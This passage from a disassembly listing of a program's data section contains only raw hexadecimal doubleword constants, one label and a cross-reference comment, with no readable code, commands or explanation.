		dd 6713508Fh, 0FCDC30DFh, 0F0457CEh, 83E37D24h,	0B50B24ADh
		dd 48C0A9D4h, 22F43758h, 10087C48h, 30C87EA0h, 9110956Bh
		dd 25818028h, 709A1F5h,	0BD1F3742h, 0EA6641B5h,	5C2A3BE4h
		dd 0BD137421h, 0E1FDD432h, 84002988h, 1326A0A7h, 2A060464h
		dd 22587C4Dh, 6FFE56BFh, 0B545A602h, 7A19DDFCh,	5A8B2054h
		dd 0AED4B709h, 8084D9F0h, 80FABDC0h, 0F5803E9h,	8C14F878h
		dd 99857B00h, 0BA7429AFh, 15DD036Bh, 1219FC8Bh,	0BB938908h
		dd 24692763h, 0B521879h, 0B4DD92CDh, 9F808CE5h,	0F9DACD49h
		dd 0FAAF3911h, 0E41018DCh, 5CBC8574h, 30ACE032h, 4E121BAEh
		dd 0E839AB8Bh, 21BA5F4h, 0A3671F5Fh, 6CC03ECCh,	889939E7h
		dd 4C347797h, 9A1C2C00h, 9990CEE3h, 686E4740h, 103D0B42h
		dd 24A96B70h, 8BE140Ch,	100A6678h, 52E428DEh, 28D96749h
		dd 0E600AD26h, 0FB59A9E8h, 690F6911h, 32E9FCD0h, 0F79309A4h
		dd 69949E68h, 0FC5159A3h, 0F1185379h, 466693Dh,	660E4D2h
		dd 7A81CCA8h, 0F8F2E32Eh, 0B71267ACh, 10BC81A8h, 0E088EF41h
		dd 7F6464DCh, 0BDD1CA40h, 5B4F10BFh, 26836891h,	38409A0Ch
		dd 56F314DDh, 20106C53h, 9848CB0Fh, 261DF6B0h, 12445295h
		dd 63E8F1B8h, 306FA228h, 0A5043060h, 2DD4B8DDh,	0F8E3B090h
		dd 49E24A34h, 4C0752F4h, 0C98CD8A8h, 44E4A03Fh,	2600A51Eh
		dd 0C4BDABA8h, 0CB37D9FEh, 0B098C0E1h, 0C871F1E1h, 3270437Ch
		dd 58DCAE71h, 1E8408h, 0A67410CAh, 325BBE3h, 54F0726Eh
		dd 71E18455h, 60B29F93h, 15E53482h, 5DEA1300h, 6E924EBDh
		dd 0C50E7F5Ch, 3DD599EEh, 0F8E23180h, 0FEE9FE63h, 0C0D0DE60h
		dd 8C7B98CDh, 4091440Fh, 45B89E2h, 92E8E420h, 9C0087F2h
		dd 0F8C7D8EAh, 12857024h, 0F34EBC32h, 405C340Ch, 246738A4h
		dd 92CC617h, 1C7906A8h,	0F802F021h, 0F963292Ch,	18517954h
		dd 3D7A0060h, 0BD2FE56Eh, 44FAFD06h, 69883E54h,	4BC6B000h
		dd 16CF917Fh, 0E3282E7Ch, 2AF16808h, 0FB1200F4h, 0FFFDF7C8h
		dd 8900CE4Eh, 8ECD25E7h, 421F43Eh, 32B48F30h, 0D12CC00Eh
		dd 0F2096F6Bh, 72201F14h, 0B02A0F6Ch, 2EA03340h, 0DFA4448Eh
		dd 0A86181F1h, 0E6B12543h, 3B51C4h, 32AC3701h, 0F83F1884h
		dd 0A7DBAD3Fh, 5914804Dh, 96631670h, 14465E30h,	4A843C18h
		dd 0A60E7CF0h, 0E02411E6h, 15EDF12h, 0D1DE4F67h, 3DB7022Ch
		dd 0B5981F64h, 888884D2h, 3EF32009h, 5E14325Dh,	6E23043Bh
		dd 821B9C00h, 0B99B952h, 9558E94Eh, 0E4F37002h,	5E5F9060h
		dd 87B0B79Fh, 0A0591732h
		dd 458B9462h, 0A20164B2h, 30D90272h, 0F87037C3h, 9154061Bh
		dd 413F3DA7h, 9A477A00h, 7C4B0FC0h, 8B691E9Bh, 5C17E763h
		dd 37800991h, 0A8A932E2h, 0CCA7BD12h, 0E16CE0h,	444DADD9h
		dd 94BF1660h, 25DCA19Fh, 0B0236448h, 0EBAD0F7Ah, 457F63BCh
		dd 0A07F11E3h, 65015828h, 0B518A7FEh, 42E89ECh,	0C135C4B0h
		dd 1FF92Ch, 3CA7EDA6h, 6453136Dh, 0F43010B2h, 0EB15096Eh
		dd 5C406C92h, 8E128F83h, 0D4E3639Bh, 66306AA2h,	0BFE21F7Bh
		dd 807C54B7h, 27B55A80h, 2628F3E8h, 0F8B9DC49h,	0B0182579h
		dd 0FA27B900h, 0F5F226EBh, 0D3D790BFh, 0ABF40469h, 71BE002Fh
		dd 0E637C453h, 80355DF9h, 800A63Eh, 0B51562FDh,	0C616DD4h
		dd 0AB96718h, 0E48B6984h, 0E1D0D099h, 0B61285BBh, 94883A81h
		dd 5300051h, 24F7B755h,	8D141747h, 18FA0792h, 67F00D13h
		dd 8C6018A7h, 0BD30981Eh, 0C057712Eh, 27C1F08h,	0B6DCC8Bh
		dd 5C80F092h, 60A2EE3Ch, 1E71125h, 0E3318828h, 0B24EC072h
		dd 2B9100B0h, 0FC6048AEh, 1A57282h, 0BEAC687Eh,	0F867D939h
		dd 403C306h, 0FFCD6A48h, 0E81089B3h, 581C6853h,	4D2560A8h
		dd 7208D418h, 75EF5C00h, 0B5195EB9h, 81814BFCh,	80013E5Ch
		dd 90E8D881h, 1CEE0F6Ch, 0C08BB7C4h, 405E214Eh,	0EC275541h
		dd 6624C0FAh, 0CE0F1762h, 82B80401h, 42E9220Ah,	0BDC022E6h
		dd 8C642B35h, 0C2634700h, 5E02B9FCh, 9451603h, 590880FFh
		dd 0C40376E9h, 34FE69E0h, 6E5CD0B7h, 6ABF268Dh,	0E4F90238h
		dd 0C84BBBD9h, 8068C2CDh, 94B5F80Ch, 0CC81E728h, 73886381h
		dd 178C0EA5h, 0C480D99Dh, 0FAAF69F7h, 6A0164B0h, 0B6679925h
		dd 316CC7h, 65316029h, 0C5E10849h, 51819281h, 0C00088A2h
		dd 0FD5D6809h, 0FEEA7CD6h, 89298300h, 0CBC7361Eh, 37F109DFh
		dd 4450508Fh, 73109538h, 0DAD67600h, 0EF559D6Dh, 0C03C001Dh
		dd 0E225015Dh, 0CCB42393h, 0EAD09619h, 0B12800C3h, 0C75746CDh
		dd 0F125607Eh, 4E2440FBh, 2377BECh, 95D0667h, 0CC682A17h
		dd 4A58FE24h, 0F1FD0620h, 4E18044Bh, 58482051h,	0E9011743h
		dd 0D69CD725h, 3039B5ADh, 3F02B82h, 0D0890F9h, 0F1630108h
		dd 288EFC34h, 94107820h, 0D08461FFh, 205C3206h,	7DF344F5h
		dd 50B0C272h, 4E7BEC20h, 0A118901Dh, 7F7FB13Bh,	808C4F0Fh
		dd 0F7134021h, 4360794h, 0EC972539h, 0D360F8FBh, 9F0FC0F2h
		dd 0F22F7C1Ch, 2BC0100h, 77189027h, 7DA8205Fh, 26B4AE1h
		dd 0F9314910h, 0E31C34D2h, 2DC069C9h, 6A18C55Ah, 7BCE242Bh
		dd 11E0CA28h, 93344962h, 520B8ACh, 738BE30Ch, 8A959970h
		dd 547934D9h, 0E1004318h, 0D79647EBh, 12F6D3E4h, 0B31E3FF7h
		dd 0C8CB4BB0h, 7C074C8h, 2E692D18h, 2598793Bh, 6C90CC44h
		dd 14B45AE2h, 0C1524DE2h, 0AE10687Ch, 2B000C84h, 9E4CE1Ah
		dd 27A3EADh, 0DFBE6C26h, 0B4F46344h, 67033081h,	0C34B4DAh
		dd 8C4202h, 5E9A1CF5h, 0EDB586C4h, 0AAA9BC24h, 7924F1ACh
		dd 261828h, 0F4148DAEh,	41FF7667h, 2448C898h, 68CF284Fh
		dd 9124179Fh, 3AEE8070h, 24E4B6C1h, 0CF84397Dh,	71586F91h
		dd 91CD5380h, 448CACDDh, 4A01A06Eh, 7395A5CDh, 2020F4D4h
		dd 8D7B4027h, 0CC0B0F4Ah, 20C04474h, 0E60728EBh, 354EF6E0h
		dd 4BA8FCD3h, 0F3E4C881h, 0FDDEB41Ch, 0B96CF7C0h, 22D77B34h
		dd 0BE13380Eh, 0A44024A7h, 0B6D811E1h, 0F8C0F8AEh, 0E0E09DA0h
		dd 5E5B3E77h, 1488448Bh, 0A4F4C2C0h, 2EA501B6h,	0D59D1EC6h
		dd 90497EDBh, 3340298h,	0D12B0159h, 2E07CE5h, 24BF3DB5h
		dd 5B4CB05Eh, 5D604C6h,	0E29DEC31h, 306DE238h, 0D90A136Ah
		dd 946BF305h, 83201860h, 0E857000Fh, 4DBFC917h,	0F317E1EEh
		dd 7053BBC6h, 28E210F2h, 1327E30h, 0B139403Fh, 6373AE0Dh
		dd 0E67C0F1Ch, 181F60C1h, 35B3E90h, 0C617719Dh,	33A0E4BEh
		dd 774ADFE7h, 0D5DAF400h, 668CBB1Fh, 690F90A1h,	7DECB50Ah
		dd 0E129C40h, 0C50170F2h, 0FBDF532Fh, 0D8492E7Fh, 76B0042Ah
		dd 8820020Ah, 389164B1h, 0C83C8B5Bh, 686FC10Eh,	8CE1F0ADh
		dd 0C0008DE2h, 7B52CEB7h, 2F62C43Eh, 0C011ABDAh, 9BC38F0h
		dd 4374EFBh, 0A4F8E260h, 47BBE40Bh, 5A0F44C8h, 12208090h
		dd 0E1FD0857h, 1E095E4Fh, 8F1C4h, 54C14DC8h, 0F603017Ch
		dd 888038BBh, 0E506B095h, 5BD60287h, 0BF3534B7h, 0BC54ECC2h
		dd 2C6A465Eh, 0EC121B6Eh, 0CE0098E2h, 41320AE6h, 0FE168043h
		dd 0CC26DBE9h, 820C5870h, 2EC45A72h, 7023D0h, 0DDF777A3h
		dd 7B253DB6h, 64D04703h, 8E8F600Ch, 0DDC92E2Bh,	4CCA4D4h
		dd 0B4D96710h, 0C7244024h, 7B62BC60h, 0CC7E4Ch,	0EDBF2AB5h
		dd 3D30822Dh, 1CB68937h, 44289079h, 15008339h, 49B9843Bh
		dd 80098F3Dh, 0F8998E02h, 57934B87h, 7A088A94h,	774511h
		dd 68C70F62h, 767311E4h, 0FBE00BBFh, 0E0B05908h, 0E4381B17h
		dd 2745A083h, 9410D6EBh, 20832A67h, 7D207FC8h, 4B0B7277h
		dd 0F31C478Ch, 49FC9EEh, 67803911h, 37893B9Ah, 1DCDF2Dh
		dd 38401D48h, 0F1DC982Ah, 9D91CA0Eh, 0CE5F20E4h, 70D140h
		dd 7FCFFEE6h, 3EEFB553h, 0CDB89205h, 0A00BB4ECh, 0AD4667Eh
		dd 1639E48Bh, 0A45A095Ch, 7BD0D07Bh, 0D7480B53h, 6CF1E6BDh
		dd 5D847D0Fh, 0C7958F0h, 0C6C501E3h, 7767E257h,	90C7E099h
		dd 22FCB25Dh, 0E9FD0AA1h, 1EB8347Bh, 286A61h, 0CF08C4D6h
		dd 0D1309C45h, 1AC6559h, 60F6C7B4h, 1E3ED309h, 7408AEC4h
		dd 0EE003C46h, 28E83FA7h, 2499C716h, 0F4B1104h,	0C4515209h
		dd 0D4183C79h, 0DBB2840Eh, 0D31187BFh, 0A848C740h, 0DEB89E1Eh
		dd 6A006D76h, 0A446E5A6h, 9AB0A737h, 5FE17194h,	5B7800F7h
		dd 6FF2D83h, 5D44C8B8h,	0D89E009Ch, 3EE6E28Dh, 1CB0B546h
		dd 0E35C239Fh, 0C0BFA130h, 2E1CC74h, 43D7A4D9h,	54604160h
		dd 0E8834A9Eh, 0A0812083h, 33DCF0h, 5E80B673h, 28096827h
		dd 4B791D00h, 0DF834E8Ch, 50C15097h, 0D8924804h, 6F10578h
		dd 0CDCB65F9h, 9F9460B8h, 0F3DBB90Fh, 0D4D2D79Ah, 92045960h
		dd 0C0CC13E3h, 838F84F4h, 0D00E015Fh, 0A106DE25h, 1F111E9Ah
		dd 0E7088AF9h, 0E37BEC46h, 5A5DAB25h, 0C37998F8h, 99B0159h
		dd 0C4661804h, 68B06135h, 2B6441EDh, 4B816800h,	6098BF1Dh
		dd 50F83866h, 34278D15h, 0E59CF0ACh, 9AC0946Ch,	338FF5D5h
		dd 6F4484BFh, 4C2F3F1Dh, 1E106802h, 0F250747Eh,	149D8255h
		dd 0F8896C11h, 728D1789h, 0A15C2CD0h, 7D007874h, 2613D599h
		dd 7CE09179h, 2A8143ACh, 6C919C48h, 0B31827D1h,	0F901D57Fh
		dd 79966CF1h, 0D0603788h, 10109777h, 38A9A8FBh,	48220D10h
		dd 2E303AE2h, 0E15C3FDBh, 82C4980Fh, 78C453EFh,	0EBBCB03Dh
		dd 0A25E20h, 74C313C6h,	0BF25729Bh, 5F90A714h, 0E0277EE8h
		dd 450CC0FFh, 49E9182Bh, 4ABE403Fh, 0EE5A6A70h,	0FD0538C4h
		dd 0DC8299CFh, 0CD4E307Dh, 54DDAE12h, 9BC0ACA2h, 221DCD45h
		dd 0FC72A00h, 0E4BF3677h, 10B98361h, 0D8062B13h, 0E135D9h
		dd 5519C730h, 0A7268C4Dh, 670C45EEh, 0F0AEFBF2h, 0D84E64C1h
		dd 0DF7C8208h, 7980585Ch, 95CB5C43h, 0CDFF3AE2h, 0F4137700h
		dd 5EB4C645h, 0AB980116h, 0B71C3CA8h, 0F0EC53BFh, 5702957Ch
		dd 0C1F956C8h, 5B808111h, 13BAF94h, 59C901A8h, 4CCE2A1Eh
		dd 0E8C36EC8h, 3F1289E6h, 0E9500B6Eh, 0DD174452h, 38F04793h
		dd 85CC25B5h, 35B5805Ah, 3CEF83A8h, 0D9819EE5h,	0D8012ABBh
		dd 0C5FC8B46h, 0B404086Ch
		dd 7DEBF5h, 0E2A2C704h,	407400E0h, 3A43EEFBh, 9702A5EDh
		dd 0FE657733h, 0C8225509h, 2C64B802h, 0E618CB00h, 1507EF1h
		dd 18B4DA90h, 53797CF9h, 877FF218h, 54FF9904h, 0E8C1234Dh
		dd 9870FAB7h, 2F8B2DE3h, 8D088051h, 93093E42h, 8C496CDBh
		dd 5A250155h, 23383B2Bh, 5C73006Eh, 29CBF1F6h, 6B834ACEh
		dd 0B334603Eh, 77DC3089h, 63D9FD31h, 9598585Ch,	0A52321E8h
		dd 9C50A853h, 4DA538E5h, 7A3E8484h, 0B350B4B6h,	0F84C774Ch
		dd 9E2F8C3Fh, 1D48515Fh, 0DA604036h, 1AEEC2F0h,	0BF196B05h
		dd 2882AB96h, 11A028CBh, 0F5B1834Ch, 79C28262h,	0A9B963D0h
		dd 822DACD0h, 5D8A3C00h, 0C58B2B0Eh, 4B64756Ah,	0B9B0447Dh
		dd 0EEE6000Ah, 123D2DEFh, 0CBE77436h, 0C06AC808h, 8F1F1BC8h
		dd 73739425h, 0D1D429B4h, 1E4186Dh, 5B8C823Fh, 0C1B7BF26h
		dd 1258BC59h, 8445ABF1h, 0F43FA4E0h, 751F3923h,	0DF9DDCC5h
		dd 0B80090F9h, 0CD3C30ABh, 0B20D22ECh, 9955D002h, 82D0882Ah
		dd 86EB4100h, 0DD64C7F7h, 4479FDF3h, 0EF11E405h, 0BE14C24Fh
		dd 10DC6C62h, 0E2231D09h, 0DC14FEC4h, 76000FECh, 0BDEB2011h
		dd 0C365C4A7h, 364EFB58h, 0A894F9F9h, 6F20D461h, 0E9F4945Dh
		dd 4656A456h, 4C540269h, 5AECC7BFh, 0D510EF10h,	53EFCFEh
		dd 8842CE6Eh, 1156B28Fh, 8400D26Fh, 0BE9EBCC7h,	0BBE90554h
		dd 43E04933h, 27F138F1h, 58C0B618h, 710613DFh, 0E70304FFh
		dd 0BAC9E399h, 2F620822h, 0A7DF2B63h, 5E79710Eh, 0D883D3E9h
		dd 0C3FEC34Eh, 0F0110203h, 4385E423h, 0DD8018F5h, 7D6326BBh
		dd 2424A574h, 11754186h, 4E092BAFh, 0C15188DCh,	30A1B88Dh
		dd 50097A17h, 8E922388h, 57628B0h, 8BC340F3h, 0C074C8FCh
		dd 0CBDF6675h, 0BBCE6E0Ch, 41EFF049h, 34203B25h, 0C310C4h
		dd 8AD6B90h, 57FAEB47h,	0ACBC2897h, 0F15515C2h,	1851D920h
		dd 438F007Eh, 82CB54CFh, 180D6A72h, 8938B166h, 6CE884C7h
		dd 0E7FDFC4h, 0EE2DE06Ah, 0CDA5720h, 59351A6Dh,	61D2FB90h
		dd 47E0F8E6h, 4C585A68h, 93E1094Ch, 0C2686040h,	57032C61h
		dd 0FCAC2638h, 95E68100h, 0AFB558A4h, 0E23418FEh, 0F9D6E15Bh
		dd 941D0B16h, 7388D4CFh, 7E56F2C0h, 5790109h, 0D9E35717h
		dd 287CF3h, 0B4368346h,	0E8BF5665h, 12FEFE31h, 90090FF1h
		dd 1F7EEC88h, 0E914BC88h, 0A527B500h, 0C40888B7h, 0BCE25A97h
		dd 1C6B2F80h, 3012C668h, 548037E3h, 4FA14DDAh, 6724209Dh
		dd 0F1005060h, 0E46A86FAh, 93826Eh, 473B2619h, 0B4B6380Eh
		dd 0BFBDA305h, 0F8B95DCCh, 72F3EA09h, 887E5042h, 1F0E4676h
		dd 0C34114F6h, 537D4606h, 905C4ADCh, 0A4EE4CB8h, 0E8152116h
		dd 83DDC240h, 12E4F87Fh, 0FDC32801h, 171AC40h, 74CADF52h
		dd 0EDF78AAEh, 0C0DDDD14h, 2C538BD9h, 3014A268h, 1D003DBAh
		dd 12C07DD5h, 95B27351h, 20BD3810h, 62AEA300h, 0F296D998h
		dd 0D54704BCh, 0BB46AD0Eh, 0B4F00812h, 22424EDDh, 0FD205720h
		dd 973DABE9h, 6E7C6049h, 40A6ACC2h, 805CB304h, 0F0507266h
		dd 0C716C064h, 0A0D2886Ch, 0B44CC338h, 51FF9320h, 94781083h
		dd 86A5C840h, 0E913DD67h, 20EC5127h, 0F3A5B468h, 5371007Dh
		dd 7FC96748h, 1900518Eh, 0AC295F96h, 1682C9Bh, 2D57B7A7h
		dd 0BB38B5D1h, 46EB8C60h, 98647880h, 39F7207Ch,	77B50218h
		dd 600E9561h, 0F6B87937h, 0B10DFF48h, 19251D47h, 9174023Fh
		dd 889A31F9h, 54E470E5h, 0EA8E7E60h, 91D8E200h,	0FD43506Fh
		dd 0A2CA42Fh, 3CBF0945h, 49D04AC0h, 2497AC82h, 488DE002h
		dd 4FC92BD4h, 0B72CC001h, 4B13D5EDh, 10C20B6Fh,	0DD8F1038h
		dd 0BF58608Ah, 0B8659533h, 465E002Eh, 34130074h, 425A9E2Eh
		dd 0FE6A135Ch, 400B338h, 2357D95Dh, 97F55900h, 0B5006785h
		dd 303CDC2Ah, 5A357011h, 0C89CCB9Dh, 5911C269h,	7757A460h
		dd 0B49E43FCh, 0A8A73602h, 0C1330473h, 38648550h, 37DEC05Ch
		dd 16B8C856h, 0A43901ECh, 774073A4h, 0D4E74C31h, 8207C6C4h
		dd 202A4050h, 0CF127511h, 2548E242h, 58DCD396h,	7C17B0D8h
		dd 2B056A59h, 984B4FE9h, 22C7902h, 2DCFF1E3h, 0F819B100h
		dd 12F34FDDh, 0E828EC30h, 0D1128C3Ah, 18B484F9h, 8878B965h
		dd 0EB0B5BDBh, 96C79A4h, 4C1421E7h, 0DC2CB4h, 8F352F26h
		dd 1C03BD7h, 0E9749054h, 9E2CFB20h, 0B806CB8h, 4C412E40h
		dd 5B02868Bh, 4AA512B5h, 388818DBh, 0B6244F90h,	0B55238A0h
		dd 0C6FB082h, 83E3F013h, 4EC94F3h, 0A90D3D5Dh, 1C4B5F44h
		dd 0C738E8A0h, 0A06C598Ch, 1C18CA2Ch, 0A61552E9h, 8C386360h
		dd 5030275Dh, 0CA261072h, 4290883Fh, 32AC5C0Bh,	0E1A7386Dh
		dd 384C6E3Ch, 0F98EFF55h, 205672BBh, 0C6F3DA5Ch, 0E8880BFh
		dd 25BD8789h, 0A4628CAFh, 7C0514C2h, 1FDC80C0h,	7D4B13BBh
		dd 0B52754B3h, 0E31C0871h, 0AC79AA4Ah, 360421B0h, 0F115E861h
		dd 0DC08204Bh, 0EB8465C9h, 0E1F52EAh, 1898F9C4h, 0CD28F88Bh
		dd 7086A863h, 5C04E1BDh, 0A52FE1B9h, 39379040h,	0BCDFBE80h
		dd 0AC3B9270h, 0A4E42654h, 0F6AC938Fh, 5FD76890h, 0CF979890h
		dd 0D560F410h, 5EFE1DB3h, 98CBE92Eh, 3B54C80h, 7E49ACh
		dd 0CB3E3A9h, 0DDD164Bh, 9FB839h, 2FC97841h, 0C0E23D60h
		dd 667A0320h, 6F00FDFEh, 0E34816B1h, 0E8A77128h, 0CE8027F6h
		dd 3543ECE8h, 9E1B193Eh, 0CF0002B5h, 1E766830h,	0BF492450h
		dd 809A1EC4h, 0AD61F7E2h, 0CB134FB7h, 0E4A95935h, 0C87CCB4Ah
dword_4E414C	dd 0EEC0CE0Ch, 0BD2BFE69h, 820C30Bh, 0B0CCFA37h, 0BE7A1D34h
					; DATA XREF: ___:off_43ACE4o
		dd 2D7E0088h, 3AE4F7DDh, 5FFF4A1Fh, 7420C553h, 5B012C76h
		dd 0FE00908Fh, 3E037B70h, 0EEB66626h, 0D183272h, 85CBC10h
		dd 0A06980BEh, 0DB62FE06h, 0C466885Eh, 9E287556h, 9C0E79B2h
		dd 6216F628h, 3BD95836h, 0BA3ABF20h, 40C70B6Ch,	78DC5B38h
		dd 78005910h, 654A0AE4h, 40AD052Ch, 88166A13h, 0AF00B0B2h
		dd 5FFE1C1Dh, 7A0C8C52h, 910DED9Fh, 13874BEBh, 5C188894h
		dd 66613CADh, 0A450E2B7h, 0B9123B58h, 11E0264Ch, 34CD294Bh
		dd 0CF0BCB51h, 1D4F8079h, 18F90B1Fh, 0D17FEB52h, 0D87B15C0h
		dd 7B60FE02h, 8E141FB5h, 0B2BC9548h, 119363Dh, 0B191118Eh
		dd 2085B4D1h, 4F2EB667h, 391B47A8h, 0BF02DCD9h,	0A97A3261h
		dd 58CB1014h, 754EFB80h, 0D8FF58B1h, 0DF7DB80h,	2900E3AAh
		dd 9C4A0858h, 1FF22061h, 24770432h, 1D460370h, 8011EBF8h
		dd 8D0139B5h, 0ECBE5B28h, 0CE204CA9h, 3D02BCA4h, 567702AAh
		dd 0C09C491Dh, 58720883h, 0EFE37FCEh, 0EBB8A0F5h, 377EE916h
		dd 84AE50A8h, 90C15554h, 887D705h, 831D8E57h, 1018E4DDh
		dd 0A7087C22h, 0DE7D80EDh, 80DB4A80h, 42807B6Dh, 0F674805Dh
		dd 80374C80h, 588062F0h, 954380F4h, 6F4C60C4h, 4787B04h
		dd 0B3045BC5h, 50D204EBh, 3131120Ch, 860201FDh,	6A51088h
		dd 86BF60Ch, 18986234h,	160328E4h, 94101A8Bh, 0E943089Ch
		dd 0F5951818h, 804A2E08h, 89816E8Eh, 0FC228453h, 8DAAF06h
		dd 11268C32h, 148A0217h, 6590F02h, 620E9C4h, 85D203Ch
		dd 8FCA231h, 7E0160B4h,	0E7A901F7h, 0E119B703h,	6DF13A2Dh
		dd 90615901h, 92107969h, 0C321067h, 19544610h, 11D8A02Ah
		dd 44F5BC51h, 16C4801h,	7901434Bh, 2C5F0149h, 3E940888h
		dd 694E3B0Ch, 51B18127h, 10FF7E8h, 9190FAF6h, 218C320Bh
		dd 0B8BCA635h, 0C869FE81h, 17153D99h, 9CBA2A88h, 6156A733h
		dd 4A303882h, 940D940h,	2C78403Ah, 66DA2E40h, 30929921h
		dd 894F131h, 188AE1C8h,	99E0F047h, 1D5493Bh, 0C00105FCh
		dd 1DEE0165h, 2DF9A9B1h, 0A2C20222h, 3ECB4E4h, 596248DBh
		dd 319DEB1h, 82AE63Eh, 0B320E06Fh, 0B4265423h, 0CDCCA8D5h
		dd 0E8F5805Bh, 798C1D81h, 46B88928h, 1B8CDCA8h,	0EC515981h
		dd 4901F715h, 0FE0C014Bh, 9F467201h, 4960F408h,	0DC106074h
		dd 0EAE01029h, 10034010h, 18106477h, 0F1DC105Ah, 12DFE910h
		dd 0B8588A50h, 0C8DD7051h, 0CF087791h, 4FC308E2h, 62E91F18h
		dd 0ED028045h, 0A1888781h, 0F153449h, 0F02A2AB8h, 8124233h
		dd 0E5A110BCh, 4071383Dh, 0B180641Dh, 9164067Ch, 0EFAB2098h
		dd 20339420h, 322054D8h, 0A16A6255h, 7C0559F7h,	61058444h
		dd 66DB104h, 4041475Eh,	19C9856Fh, 6C3C2204h, 9A5703FDh
		dd 88D61018h, 0C8F93808h, 8A1376C1h, 0D93C804Ch, 9BD8A9CDh
		dd 0A0FB8052h, 34F298A0h, 831C9EEBh, 5D21D597h,	0C868A1DCh
		dd 7530F9DCh, 0BF45108Eh, 0EAB0082h, 49C06A03h,	994A0D43h
		dd 0ADE8C00h, 7E819A75h, 0EE639F44h, 30ACE2C8h,	0D2E35C05h
		dd 0B88D0810h, 0E6079860h, 477400E8h, 9FD729C9h, 20CE57A1h
		dd 61306FDDh, 0D5D3DF28h, 1A8BA08Dh, 9C6290h, 7E48CE7Dh
		dd 27A35A93h, 0FCC0EDDFh, 23787862h, 1061B530h,	590C83h
		dd 5C1F7DABh, 57A662DEh, 3D7C98C1h, 804044A1h, 28158B47h
		dd 1430F6DCh, 8C7CC56Ch, 65AC1D3Dh, 209F9E94h, 5C38BE02h
		dd 400FFCDBh, 0CE32FDh,	0C3303DF7h, 0E0415D18h,	0D856BF01h
		dd 6777207Bh, 0C17E4080h, 5AB44B0Fh, 7FCB7403h,	2EA013E0h
		dd 1416A70h, 0C1207915h, 0E330804Bh, 1AFB300Ch,	7BB10C3Ch
		dd 5A284D7Ah, 20181576h, 5399A6A8h, 0D2488101h,	7C35E9E0h
		dd 0EB28E267h, 7860D009h, 16D507AEh, 8E38F8C3h,	1104360h
		dd 49387A4Ch, 0B739037Fh, 10567BCFh, 3ED2F9h, 680EF7D5h
		dd 835E22h, 0B048A538h,	0EB49B170h, 800E44Bh, 6672F45h
		dd 0B84F60AFh, 0EB1C92E3h, 70D6CC30h, 0F03C42FBh, 1087678Ah
		dd 0A0205CFDh, 2A9C140h, 0F3074DFh, 6481492Eh, 98B94DEBh
		dd 0B550FF20h, 8D70F95Bh, 0A8E0C2CBh, 84E83720h, 127BB7A7h
		dd 56246D0Fh, 8EACA0F5h, 21F3CAFh, 0C2559213h, 24A0FA66h
		dd 679A162Bh, 20F7EB04h, 6883ECC5h, 0FDC000DDh,	0B6C24A3Ch
		dd 98C08A6Ah, 76E9F737h, 3F1CF6DFh, 5E828C25h, 0A5894405h
		dd 0EEC0C081h, 0A175FAF8h, 0BC3AE090h, 0AD7BA840h, 8C1450DFh
		dd 6C15087Ah, 0FD18A3EAh, 1CDC190h, 0AF2E286Fh,	80628B3Dh
		dd 6415B850h, 9AFCCEh, 0C74B1B78h, 3E96C3E9h, 0BE41F500h
		dd 37F1111Dh, 3D910C15h, 0CE3985CBh, 0F554E4A4h, 4000BA48h
		dd 0FC38B25Ch, 5EAAC99h, 0DF467771h, 8BA8A081h,	48B43E00h
		dd 3A3B347Fh, 0A1590003h, 75CC17B7h, 0F65077AEh, 6B0B8BE4h
		dd 480EEF7Ah, 1B329DCh,	37D51FB7h, 2A5D15EAh, 82E31007h
		dd 94AE6C43h, 8B10FD0Ch, 0FB48DCFCh, 3C8D80B8h,	0C58BA59h
		dd 0D20E3D5Ch, 0C7005BC8h, 735AB061h, 7B40D99h,	0C4559A39h
		dd 0F7C0B069h, 48E87B12h, 0C501EB14h, 6AE300A8h, 593B8D15h
		dd 99CC3C19h, 16A492FBh, 0A080EB36h, 44005D00h,	7CEF16B7h
		dd 282071F5h, 12947EBCh, 441B37ADh, 0A43B8360h,	48C0DFFCh
		dd 0EB685794h, 0A55140D6h, 5BAB3D18h, 0FCFB8C8h, 80598471h
		dd 90022109h, 0F017308h, 0D4256325h, 6AF316E0h,	2108B118h
		dd 9ACA00A8h, 0F84E6CFCh, 92F64C3Ah, 44018AD5h,	6355731Ah
		dd 5E550F0h, 0DFB4767Fh, 8368A033h, 64540454h, 8BFDD81h
		dd 243D0C50h, 8010A9FBh, 99B310F7h, 3907F865h, 5A985C4Eh
		dd 257C1260h, 0C8E0023h, 7F1B779Fh, 0E2012BD5h,	8B60A1B4h
		dd 52D2B81Fh, 987CFAC0h, 30191C20h, 4861F044h, 3CA30383h
		dd 711D8916h, 45B72CC0h, 7ED704C5h, 80384C57h, 99207528h
		dd 0C0314E6Ah, 4D96CE00h, 0B015567Eh, 0D5B61D30h, 6A1D40F6h
		dd 4F058373h, 84924D1Fh, 6D242600h, 90535D22h, 12370044h
		dd 0B8217591h, 0E0137A4Bh, 0B42499D6h, 4A6C1C81h, 720CF42Ah
		dd 980B10C2h, 0BC80838h, 1CC8CD7Eh, 18B04555h, 834DB40Ah
		dd 0D5096C36h, 799CC9F5h, 4CB73FC0h, 88C4A0C9h,	10FC49A6h
		dd 0A63A8374h, 490220C8h, 0FC6C4A00h, 972E65B9h, 54DF189Fh
		dd 0E83E31FAh, 0F715Ch,	0B2F6DDD5h, 7503A157h, 0C03B4830h
		dd 88326C94h, 0DC4035C0h, 44162E19h, 585373E3h,	213DC403h
		dd 66101ECEh, 1CAC3F28h, 0C7314030h, 0FE35DF1Eh, 0B0A07997h
		dd 0AE600EECh, 0AF607C07h, 895DEB4Ah, 0A481E89Ah, 0F2B0FC10h
		dd 60370A0h, 30296CE8h,	1D907C92h, 12F08B8Ah, 5DD40345h
		dd 0A14D7A6Ch, 4F1D09FCh, 0BDE8812Dh, 0AC35789Eh, 105C20h
		dd 0D519F39Ch, 50A604FAh, 75304C13h, 39E05800h,	0E27BDA85h
		dd 14201DC5h, 244E1644h, 5B0881ACh, 3DC8D4B1h, 84C0764Ah
		dd 0EC198B4Bh, 0A84499FAh, 4AE01A5Ch, 906810F6h, 0A0A360BEh
		dd 47284C87h, 0A5AD800Ah, 358570EFh, 481A706h, 0C271FF55h
		dd 62AD0802h, 750C90DCh, 0EB533C44h, 9300A4A6h,	74342882h
		dd 582914B1h, 0A075EB09h, 983DA618h, 28B491B4h,	362F0070h
		dd 0EB4E6BEDh, 48C1752Dh, 4CE13D94h, 8B4D2888h,	0B044BE13h
		dd 0EE035048h, 2AD8EB80h, 3652116h, 0C581C160h,	4C76F997h
		dd 109F7E1Fh, 1CDD24B0h, 0DFC6A61Dh, 4F28B642h,	0A0CC420Fh
		dd 0E4465728h, 51101D18h
